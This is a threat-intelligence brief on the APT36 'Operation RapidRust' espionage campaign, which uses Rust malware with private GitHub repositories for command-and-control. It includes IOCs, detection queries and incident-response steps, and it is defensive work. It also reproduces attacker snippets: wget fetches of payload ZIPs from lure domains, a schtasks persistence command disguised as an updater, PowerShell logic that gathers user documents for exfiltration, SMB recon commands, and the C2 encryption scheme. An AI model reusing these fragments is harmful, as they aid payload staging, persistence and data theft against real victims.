APT36 Operation RapidRust: RUSTYSHADE Turns Private GitHub Repos Into Espionage C2

·

Operation RapidRust is a Pakistan-aligned espionage campaign that Zscaler ThreatLabz attributed to Transparent Tribe (APT36 / Earth Karkaddan), active most intensely between August 20 and September 1, 2026 against government and defense entities in India and Afghanistan.

The operators rewrote their toolkit in Rust and shipped four undocumented tools: RUSTYSHADE (a Windows backdoor whose command channel lives entirely inside private GitHub repositories), RUSTYMOVE (USB propagation), and the twin stealers PSNATCH (PowerShell) and BASHNATCH (Linux).

No CVE is involved — access is bought with typosquatted Indian-news domains and social engineering, and the C2 blends into legitimate GitHub API traffic that most egress filters wave through. This brief breaks down the arsenal, the GitHub tradecraft, the full IOC set, and copy-paste KQL/SPL hunts.

◈ Table of Contents

01 Threat Actor Profile & Attribution 02 Campaign Timeline 03 Initial Access & Delivery 04 Deep Dive: RUSTYSHADE Backdoor 05 RUSTYMOVE — USB Propagation 06 PSNATCH & BASHNATCH Stealers 07 Recon & Lateral Movement 08 GitHub-as-C2 Infrastructure 09 Indicators of Compromise 10 Detection & Hunt Queries 11 MITRE ATT&CK Mapping 12 DFIR & Hardening 13 Sources & References
🎯

01 · Threat Actor Profile & Attribution

Phase 1 / 13

Transparent Tribe is one of the most persistent South Asian espionage clusters, aligned with Pakistani interests and focused for years on Indian government, military and diplomatic targets. Operation RapidRust marks a deliberate re-tooling: the group has moved core capability into Rust and doubled down on legitimate cloud services for command-and-control, a direction that started with its earlier GOGITTER and GITSHELLPAD GitHub-based activity.

AttributeDetail
Primary nameTransparent Tribe
AliasesAPT36, Earth Karkaddan
AttributionPakistan-aligned (Zscaler ThreatLabz)
CampaignOperation RapidRust
TargetingGovernment & defense — India and Afghanistan
Peak activityAugust 20 – September 1, 2026
Tool languageRust (Win64) + PowerShell + Bash
C2 modelAttacker-owned private GitHub repositories via REST API
SeveritySeverity: HIGH targeted espionage, no CVE required

The four RapidRust tools are all previously undocumented, but the tradecraft is consistent with prior Transparent Tribe operations. ThreatLabz notes a January 2026 cluster with overlapping tradecraft that may represent an APT36 subgroup or an adjacent Pakistan-linked crew — a reminder that a single "APT36" label often hides several teams sharing infrastructure and playbooks.

Track this actor on behaviour, not just tooling. The Rust rewrite invalidates every hash-based and YARA-on-C-runtime signature you had for Transparent Tribe. The GitHub-C2 pattern and the recon command sequence survive the rewrite — pivot on those.

🗓️

02 · Campaign Timeline

Phase 2 / 13
TObserved Sequence of EventsThreatLabz
  • 1Aug 2026 (prior wave): A related APT36 operation deploys the PATCHCORD backdoor against Afghan telecom and other South Asian infrastructure — context for the RapidRust push.
  • 2Aug 20 – Sep 1, 2026: Peak RapidRust activity. Typosquatted news domains stage PowerShell downloaders and the Rust payloads.
  • 3Weekday windows only: RUSTYSHADE C2 commands are issued between roughly 04:00 and 11:00 UTC, and only on weekdays — an operator work-schedule tell that maps to a South Asian business day.
  • 4Sep 17–18, 2026: Zscaler ThreatLabz publishes the RapidRust analysis; The Hacker News, GBHackers and others corroborate.

The 04:00–11:00 UTC weekday envelope is a hunt primitive in its own right. Beaconing to api.github.com that clusters tightly in that window, from a host with no developer footprint, is worth a look even before you have a hash.

🪝

03 · Initial Access & Delivery

Phase 3 / 13

RapidRust does not exploit a vulnerability. Access is engineered: victims are steered to domains that impersonate well-known Indian news outlets, which host intermediary PowerShell scripts and the ZIP payloads. Bulk payload storage is offloaded to Backblaze B2 cloud buckets so the news-lure domains stay light and disposable.

StageArtifact
Lure domainstheprints[.]org (spoofs ThePrint), indiatodays[.]org (spoofs India Today), officialinfo[.]org
Staging pathstheprints[.]org/adrive, theprints[.]org/drivefolder, theprints[.]org/mau
Cloud storageclients-easy.s3.us-east-005.backblazeb2[.]com, f005.backblazeb2[.]com
Payload archivesDriverInstaller.zip → DriverInstaller.exe · Automata-20.zip → Automata-20.exe
Delivery commandPowerShell / wget-style fetch of the ZIP from the spoofed domain or Backblaze bucket
// Reconstructed staging fetch (from ThreatLabz reporting)
# Intermediary downloader pulls the packaged Rust payload wget https://theprints[.]org/adrive/DriverInstaller.zip wget https://f005.backblazeb2[.]com/.../Automata-20.zip # archives expand to a signed-looking .exe that stages RUSTYSHADE

Block on the pattern, not the string. "theprints" / "indiatodays" are throwaway typosquats; the durable signal is a browser or script fetching a .zip that expands to an .exe named like a driver or updater from a newly-registered look-alike news domain. Feed newly-observed-domain intel into your proxy category rules.

🔬

04 · Technical Deep Dive — RUSTYSHADE Backdoor

Phase 4 / 13

RUSTYSHADE is the centrepiece: a 64-bit Windows backdoor written in Rust whose entire command channel is a private GitHub repository. There is no bespoke C2 server to fingerprint and no novel protocol on the wire — just authenticated HTTPS calls to api.github.com that look like a developer's tooling. Every message is AES-256-GCM encrypted before it is ever committed to the repo.

AHard-Coded PAT & Key DerivationT1552.001

RUSTYSHADE ships with a hard-coded GitHub Personal Access Token (PAT) that authorizes it to read and write the operator's private repositories. Rather than store a separate crypto key, the malware derives its AES-256 key from the SHA-256 hash of that PAT — so the token doubles as both credential and key material.

  • 1The embedded PAT authenticates every GitHub REST API request via the Authorization header, granting repo read/write over HTTPS.
  • 2The 32-byte AES-256 key is computed as SHA-256(PAT) — no key exchange, no second secret to recover during triage.
  • 3Recovering the PAT from a sample therefore hands a responder both the C2 credential and the decryption key at once — pull it during analysis and you can read the operator's repo traffic.
// Reconstructed key handling (from ThreatLabz analysis)
pat = "ghp_<hard-coded personal access token>" key = SHA256(pat) # 32-byte AES-256 key auth = "Authorization: token " + pat # every REST call
BAES-256-GCM Envelope & the HCENC1 MarkerT1027

Every command and every result is sealed in an AES-256-GCM envelope. RUSTYSHADE generates a fresh random 12-byte nonce per message, concatenates nonce || ciphertext || auth-tag, Base64-encodes the blob, and prefixes it with the literal string HCENC1:. That prefix is a gift to defenders — it is a stable, high-signal string that survives the Rust rewrite.

// Message envelope format
# wire/committed format for every C2 message HCENC1:base64( nonce[12] || ciphertext || gcm_tag[16] ) # AES-256-GCM, key = SHA256(PAT), random 12-byte nonce per message
  • 1Because GCM binds the tag to the nonce and key, tampering is detected — but the fixed HCENC1: prefix makes committed blobs trivially greppable in repo history.
  • 2The scheme is symmetric and self-contained: no server certificate, no domain to sinkhole. GitHub is the dead-drop.
CThe Repo Dead-Drop ProtocolT1071.001

RUSTYSHADE polls a private repository for a well-known set of files. The operator writes an encrypted command.txt; the implant reads it, decrypts it, executes, and writes an encrypted results.txt back. Reconnaissance, keepalive and exfiltrated media each get their own filename.

Repo fileDirectionPurpose
command.txtoperator → implantEncrypted command to execute
results.txtimplant → operatorEncrypted command output
info.txtimplant → operatorSystem reconnaissance / host profile
heartbeat.txtimplant → operatorKeepalive beacon
screenshot.pngimplant → operatorDesktop screen capture
webcam_photo.jpgimplant → operatorWebcam still capture
download.binimplant → operatorGeneric exfiltrated file blob

Supported capabilities include arbitrary shell command execution, drive and directory enumeration, desktop screenshots, webcam capture, and compressed file exfiltration — a full remote-access feature set brokered entirely through commits.

Lure → Rust backdoor → AES-256-GCM envelope → GitHub private repo dead-drop → operator
🔌

05 · RUSTYMOVE — USB Propagation & Air-Gap Bridging

Phase 5 / 13

RUSTYMOVE is a lightweight Rust utility whose only job is to spread RUSTYSHADE onto removable media — the classic route into segmented or air-gapped defense networks that never touch the open internet.

ARemovable-Media Watcher & LNK BaitT1091

RUSTYMOVE continuously monitors for newly-attached removable devices — USB, SD, MMC and IEEE 1394 — and, on detection, copies a pre-staged archive containing RUSTYSHADE plus a decoy shortcut to the drive root.

  • 1Detects insertion of USB / SD / MMC / IEEE 1394 volumes.
  • 2Drops a ZIP carrying RUSTYSHADE alongside a malicious .pdf.LNK double-extension shortcut designed to look like a document.
  • 3When the drive is carried to another host and the "PDF" is opened, the LNK executes and stages RUSTYSHADE there — bridging the gap manually.
// Persistence: scheduled task masquerading as a OneDrive updater
schtasks /Create /TN "StandAloneOneDriveUpdater-2626" /TR "<rustyshade path>" /SC ONLOGON /RL HIGHEST

An air-gap does not save you here. RUSTYMOVE weaponizes the humans who ferry USB sticks between the internet-connected and isolated sides. Enforce device-control policy on the isolated network and disallow autorun / LNK execution from removable media.

📤

06 · PSNATCH & BASHNATCH — Cross-Platform Collection

Phase 6 / 13

The stealers handle bulk document theft on each platform. PSNATCH targets Windows via PowerShell; BASHNATCH is its Linux counterpart. Both stage locally, compress, and exfiltrate to private GitHub repos using a hard-coded PAT, and both keep a JSON ledger so re-runs only ship new files.

APSNATCH — Windows PowerShell File StealerT1005

PSNATCH walks high-value user locations and fixed drives, filters by file type and recency, compresses the haul with Compress-Archive, and uploads to GitHub. Collection is capped to stay quiet.

ParameterValue
LocationsDesktop, Downloads, Documents, OneDrive, fixed drives D:–H:
File typesOffice docs, archives, images, databases, scripts, executables, media
Recency filterFiles modified within the last 120 days
Size caps1 GB per file · 5 GB per execution
StagingDate-stamped folders, compressed via Compress-Archive
Dedup ledger%APPDATA%\SmartUploader\uploaded_files.json
// Reconstructed collection logic (PSNATCH)
Get-ChildItem -Path $env:USERPROFILE\Documents,Desktop,Downloads -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-120) } | Compress-Archive -DestinationPath $env:APPDATA\SmartUploader\<date>.zip # then HTTPS PUT to a private GitHub repo using the hard-coded PAT
BBASHNATCH — Linux VariantT1005

BASHNATCH mirrors the same collection-and-upload model on Linux, keeping its own incremental ledger at ~/.local/share/SmartUploader/uploaded_files.json. Its existence tells you the operators expect mixed Windows/Linux estates in Indian and Afghan government and defense environments — not a Windows-only assumption.

  • 1Enumerates user home directories and mounted volumes for the same document classes.
  • 2Tracks already-exfiltrated files in the SmartUploader JSON to avoid re-sending.
  • 3Compresses and uploads to a private GitHub repo via the hard-coded token.

The shared SmartUploader/uploaded_files.json artifact is a cross-platform gift. Hunt for that exact path on both Windows (%APPDATA%) and Linux (~/.local/share) — it ties PSNATCH and BASHNATCH activity together across your estate.

🧭

07 · Recon & Lateral Movement

Phase 7 / 13

After RUSTYSHADE lands, operators run a compact, repeatable hands-on-keyboard sequence: map the subnet, look for SMB/RPC, enumerate shares, plant persistence, then clean up. This sequence is stable across the campaign and is one of the best behavioural detections available.

ADiscovery & Share EnumerationT1018 · T1046 · T1021.002

Network reconnaissance uses ping sweeps and hostname resolution, port probing on 445 and 135, and IPC$ share connection attempts to enumerate accessible SMB shares for lateral movement.

// Observed post-compromise recon
# subnet sweep + hostname resolution (T1018) ping -n 1 10.0.0.1..254 # probe SMB / RPC (T1046) <scan> 445, 135 # enumerate shares over IPC$ (T1021.002) net use \\10.0.0.23\IPC$
  • 1Persistence is planted as scheduled tasks masquerading as OS updaters — e.g. StandAloneOneDriveUpdater-2626 and MicrosoftEdgeUpdateTaskUserS-1-5-24-*.
  • 2Post-deployment, operators delete staging artifacts and traces (T1070.004) to slow forensic reconstruction.
🛰️

08 · GitHub-as-C2 Infrastructure & Fingerprinting

Phase 8 / 13

The strategic move in RapidRust is resilient, cloud-backed C2. By using attacker-owned private repositories over the GitHub REST API, Transparent Tribe inherits GitHub's TLS, uptime and reputation — and sidesteps the domain-and-IP indicators that defenders usually pivot on. The private-repo access token is never exposed to a passive network observer, so there is nothing to sinkhole and no C2 domain to block without also blocking github.com.

🔐

No Sinkhole Surface

C2 is a private repo reached with a PAT over TLS to api.github.com. There is no attacker domain to seize and no plaintext beacon to signature.

🧬

Lineage: GOGITTER / GITSHELLPAD

RapidRust builds directly on Transparent Tribe's earlier GitHub-repo C2 tooling, indicating a deliberate, maturing investment in the technique.

⏱️

Operator Rhythm

Commands appear only 04:00–11:00 UTC on weekdays — a schedule tell that survives infrastructure churn and aids clustering.

📎

HCENC1 Fingerprint

The fixed HCENC1: prefix on Base64 blobs is a durable content signature usable on host telemetry and, where visible, in repo history.

Specific attacker GitHub account and repository names were not publicly disclosed by ThreatLabz — expected, since burning them tips off the operators. Defenders should therefore pivot on behaviour: which processes on your estate talk to api.github.com, and do they have any legitimate reason to?

📇

09 · Indicators of Compromise

Phase 9 / 13

Defanged indicators from Zscaler ThreatLabz reporting. Treat the domains as disposable and the hashes as a starting point — the Rust rewrite means new samples will surface. Behavioural and path-based indicators (below) age far better than file hashes.

TypeIndicatorContext
SHA-25640a75f87f1e52c33df9ca733aaf8ebbb00aff1a72c5d5635ab36ce2eb370718aRapidRust sample
SHA-256f0557a052d07b3ef0c5f27d082551d51027de452682e1fbd5bb38a897ea4b31bRapidRust sample
Domaintheprints[.]orgLure — spoofs ThePrint
Domainindiatodays[.]orgLure — spoofs India Today
Domainofficialinfo[.]orgLure / staging
URL paththeprints[.]org/adrive · /drivefolder · /mauPayload staging paths
Cloudclients-easy.s3.us-east-005.backblazeb2[.]comBackblaze B2 payload host
Cloudf005.backblazeb2[.]comBackblaze B2 payload host
FilenameDriverInstaller.zip / .exe · Automata-20.zip / .exeDelivered payload archives
Path%APPDATA%\SmartUploader\uploaded_files.jsonPSNATCH dedup ledger
Path~/.local/share/SmartUploader/uploaded_files.jsonBASHNATCH dedup ledger
TaskStandAloneOneDriveUpdater-2626Persistence scheduled task
TaskMicrosoftEdgeUpdateTaskUserS-1-5-24-*Persistence scheduled task
StringHCENC1:AES-256-GCM envelope prefix (C2 messages)
🔍
Check these IOCs against your estate
CyberHawk IOC Scanner — paste hashes, domains and paths
OPEN →
📡

10 · Detection & Hunt Queries

Phase 10 / 13

Each hunt below pairs a Microsoft Sentinel/Defender KQL query with its Splunk SPL equivalent. Start with behaviour that survives the Rust rewrite: unexpected processes talking to GitHub, the SmartUploader ledger, updater-masquerading scheduled tasks, and the HCENC1 marker.

DETECTS: Non-browser / non-developer processes making outbound connections to api.github.com — RUSTYSHADE dead-drop C2 and stealer uploads.
KQL — Microsoft Defender / Sentinel
DeviceNetworkEvents | where RemoteUrl has "api.github.com" or RemoteUrl has "github.com" | where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","git.exe","code.exe","powershell_ise.exe") | where hourofday(Timestamp) between (4 .. 11) and dayofweek(Timestamp) between (1d .. 5d) | summarize hits=count(), procs=make_set(InitiatingProcessFolderPath) by DeviceName, InitiatingProcessFileName
SPL — Splunk
index=edr sourcetype=network (dest_host="api.github.com" OR dest_host="github.com") | search NOT process_name IN ("chrome.exe","msedge.exe","firefox.exe","git.exe","code.exe") | eval h=strftime(_time,"%H"), wd=strftime(_time,"%w") | where h>=4 AND h<=11 AND wd>=1 AND wd<=5 | stats count by host, process_name, process_path
DETECTS: Creation or presence of the SmartUploader dedup ledger dropped by PSNATCH / BASHNATCH.
KQL — Microsoft Defender / Sentinel
DeviceFileEvents | where FolderPath has "SmartUploader" and FileName =~ "uploaded_files.json" | project Timestamp, DeviceName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine
SPL — Splunk
index=edr sourcetype=filesystem file_path="*SmartUploader*" file_name="uploaded_files.json" | stats min(_time) as first_seen values(file_path) by host, process_name
DETECTS: Scheduled tasks masquerading as OneDrive / Edge updaters used for RUSTYSHADE persistence.
KQL — Microsoft Defender / Sentinel
DeviceProcessEvents | where FileName =~ "schtasks.exe" and ProcessCommandLine has "/Create" | where ProcessCommandLine has_any ("StandAloneOneDriveUpdater","MicrosoftEdgeUpdateTaskUserS-1-5-24") | project Timestamp, DeviceName, AccountName, ProcessCommandLine
SPL — Splunk
index=windows (EventCode=4698 OR process_name="schtasks.exe") | search (TaskName="*StandAloneOneDriveUpdater*" OR TaskName="*MicrosoftEdgeUpdateTaskUserS-1-5-24*" OR CommandLine="*StandAloneOneDriveUpdater*") | table _time, host, user, TaskName, CommandLine
DETECTS: The HCENC1 AES-256-GCM envelope marker in files or command lines — a durable content signature.
Sigma (file/command content)
title: RUSTYSHADE HCENC1 C2 Envelope Marker logsource: { category: file_event } detection: sel: Contents|contains: 'HCENC1:' condition: sel level: high

Tune the GitHub-egress hunt before alerting. In dev-heavy orgs, legitimate CI runners and tooling hit api.github.com constantly. Baseline which hosts and service accounts should reach GitHub, then alert on the exceptions — a finance or HR workstation beaconing to api.github.com on a weekday morning is the anomaly you want.

🗺️

11 · MITRE ATT&CK Mapping

Phase 11 / 13
TacticTechniqueIDWhere seen
Initial AccessPhishingT1566Spoofed news-domain lures
ExecutionCommand & Scripting: PowerShellT1059.001PSNATCH, intermediary downloaders
PersistenceScheduled Task/JobT1053.005OneDrive/Edge updater tasks
Defense EvasionObfuscated Files or InformationT1027AES-256-GCM / HCENC1 envelope
Defense EvasionIndicator Removal: File DeletionT1070.004Post-deployment cleanup
Credential AccessCredentials In FilesT1552.001Hard-coded GitHub PAT
DiscoveryRemote System DiscoveryT1018Ping sweeps / hostname lookups
DiscoveryNetwork Service DiscoveryT1046Port probes 445 / 135
Lateral MovementRemote Services: SMB SharesT1021.002IPC$ share enumeration
Lateral MovementReplication Through Removable MediaT1091RUSTYMOVE USB propagation
CollectionData from Local SystemT1005PSNATCH / BASHNATCH
CollectionScreen CaptureT1113RUSTYSHADE screenshots
CollectionVideo CaptureT1125RUSTYSHADE webcam stills
CollectionArchive via UtilityT1560.001Compress-Archive staging
CollectionData Staged: LocalT1074.001Date-stamped staging folders
Command & ControlApplication Layer Protocol: WebT1071.001GitHub REST API dead-drop
Command & ControlIngress Tool TransferT1105ZIP/EXE staging from cloud
Resource DevelopmentAcquire Infrastructure: DomainsT1584.001Typosquatted news domains
ExfiltrationExfil Over Web ServiceT1567.002Uploads to private GitHub repos
🛡️

12 · DFIR & Hardening

Phase 12 / 13
RResponder Actions, In OrderDFIR

If a host matches the hunts above, work the GitHub-C2 nature of this threat to your advantage: the sample carries the credential to its own C2.

  • 1Isolate the host and capture memory before killing processes — RUSTYSHADE is a live Rust process, and its resolved PAT/key may be recoverable from memory.
  • 2Extract the hard-coded PAT from the sample/memory. With it you hold both the C2 credential and SHA256(PAT), the decryption key for committed traffic.
  • 3Report the PAT to GitHub for revocation and preserve repo contents (with legal/IR sign-off) — results.txt, info.txt and staged blobs reconstruct what was taken.
  • 4Remove persistence: delete the rogue StandAloneOneDriveUpdater-2626 / MicrosoftEdgeUpdateTaskUserS-1-5-24-* tasks and the SmartUploader ledgers.
  • 5Re-run the identification hunts and expect zero hits before closing.
  • 6Rebuild the timeline: the 04:00–11:00 UTC weekday cadence bounds the operator's active windows.
Eradication complete when
  • No process outside your GitHub allow-list is reaching api.github.com
  • All rogue updater scheduled tasks are removed on every affected host
  • SmartUploader ledgers and staging ZIPs are gone
  • The recovered PAT is revoked and repo access confirmed dead
  • Removable-media device control is enforced on segmented networks
HHardening PrioritiesPrevent
  • 1Egress governance for GitHub: allow-list which hosts/service accounts may reach api.github.com; alert on the rest. This single control breaks the dead-drop for most of your estate.
  • 2Removable-media control: block autorun and LNK execution from USB/SD on isolated networks to defeat RUSTYMOVE.
  • 3ASR + scheduled-task auditing: enable Event ID 4698 auditing and alert on tasks named like OS updaters created by non-SYSTEM processes.
  • 4Newly-registered-domain filtering: categorize and block fresh look-alike news domains at the proxy.
  • 5Web/webcam telemetry: monitor for unexpected screen and webcam capture activity on sensitive endpoints.
📚

13 · Sources & References

Phase 13 / 13
The Hacker News — Transparent Tribe Deploys New Rust Backdoor Using Private GitHub Repositories for C2 GBHackers — APT36 Targets Indian Government and Defense Organizations With New Rust Malware Arsenal BleepingComputer — security news index (RapidRust coverage) Zscaler ThreatLabz — Security Research (Operation RapidRust, Sudeep Singh)

Hunting GitHub-as-C2 in your environment? Start with the SmartUploader path, the HCENC1 marker and the updater-task names above, then baseline every process that touches api.github.com. Paste the RapidRust hashes and domains into the CyberHawk IOC Scanner, and follow the CyberHawk Threat Intel feed for the next Transparent Tribe update.

◈ Stay Connected

Follow CyberHawk Threat Intel for threat intelligence, deployment guides and hands-on SOC tooling content.

🌐 Website ▶️ YouTube ▶️ YouTube (2) 𝕏 Twitter / X ♪ TikTok ✈️ Telegram
🔍 IOC Scanner 🛠️ Live Tools 📚 Courses 🚨 Threat Intel 📝 Blog 📋 SOPs

"They can't exploit you if you are the Exploit."